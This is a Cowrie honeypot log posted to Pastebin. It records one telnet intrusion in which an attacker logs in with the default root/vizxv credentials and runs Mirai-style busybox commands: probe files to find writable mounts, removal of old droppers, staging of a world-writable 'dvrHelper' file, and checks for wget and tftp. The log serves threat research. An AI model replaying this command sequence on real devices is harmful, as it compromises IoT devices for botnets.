Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 2017-01-18T20:53:08+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 109.236.92.170:59227 (192.168.0.102:23) [session: TT52]
- 2017-01-18T20:53:12+0200 [CowrieTelnetTransport,52,109.236.92.170] login attempt [root/vizxv] succeeded
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Opening TTY Log: log/tty/20170118-205313-None-52i.log
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Warning: state changed and new state returned
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: enable
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: enable
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Reading txtcmd from "txtcmds/bin/enable"
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: shell
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command not found: shell
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: sh
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: sh
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox ps; /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ps
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: ps
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /proc/mounts
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /proc/mounts
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/sys'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/proc'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/dev'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/dev/pts'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/pts/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/run'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon; /bin/busybox cat /sys/fs/cgroup/.nippon; /bin/busybox rm /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/fs/cgroup/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/fs/fuse/connections/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/kernel/debug/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/kernel/security/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/run/lock'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/lock/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon; /bin/busybox cat /run/shm/.nippon; /bin/busybox rm /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/run/shm'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/shm/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon; /bin/busybox cat /run/user/.nippon; /bin/busybox rm /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/user/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/fs/pstore/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/boot'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /boot/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:13+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/fs/cgroup/systemd/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon; /bin/busybox cat /run/user/1000/gvfs/.nippon; /bin/busybox rm /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/user/1000/gvfs/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: echo -e '\x6b\x61\x6d\x69/dev'
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox rm /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.nippon
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /sys/.t; rm /sys/.sh; rm /sys/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /sys/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /proc/.t; rm /proc/.sh; rm /proc/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /dev/pts/.t; rm /dev/pts/.sh; rm /dev/pts/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/pts/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/pts/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/pts/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /run/.t; rm /run/.sh; rm /run/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /.t; rm /.sh; rm /.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/lock/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/lock/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/lock/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /run/shm/.t; rm /run/shm/.sh; rm /run/shm/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/shm/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/shm/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /run/shm/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /boot/.t; rm /boot/.sh; rm /boot/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /boot/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /boot/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /boot/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /proc/sys/fs/binfmt_misc/.t; rm /proc/sys/fs/binfmt_misc/.sh; rm /proc/sys/fs/binfmt_misc/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/sys/fs/binfmt_misc/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/sys/fs/binfmt_misc/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /proc/sys/fs/binfmt_misc/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.t
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.sh
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: rm /dev/.human
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: cd /sys/
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cd /sys
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cp /bin/echo dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cp /bin/echo dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: > /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox chmod 777 /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: chmod 777 /sys/dvrHelper
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox cat /bin/echo
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox cat /bin/echo
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: cat /bin/echo
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] Command found: /bin/busybox ECCHI
- 2017-01-18T20:53:14+0200 [CowrieTelnetTransport,52,109.236.92.170] CMD: /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
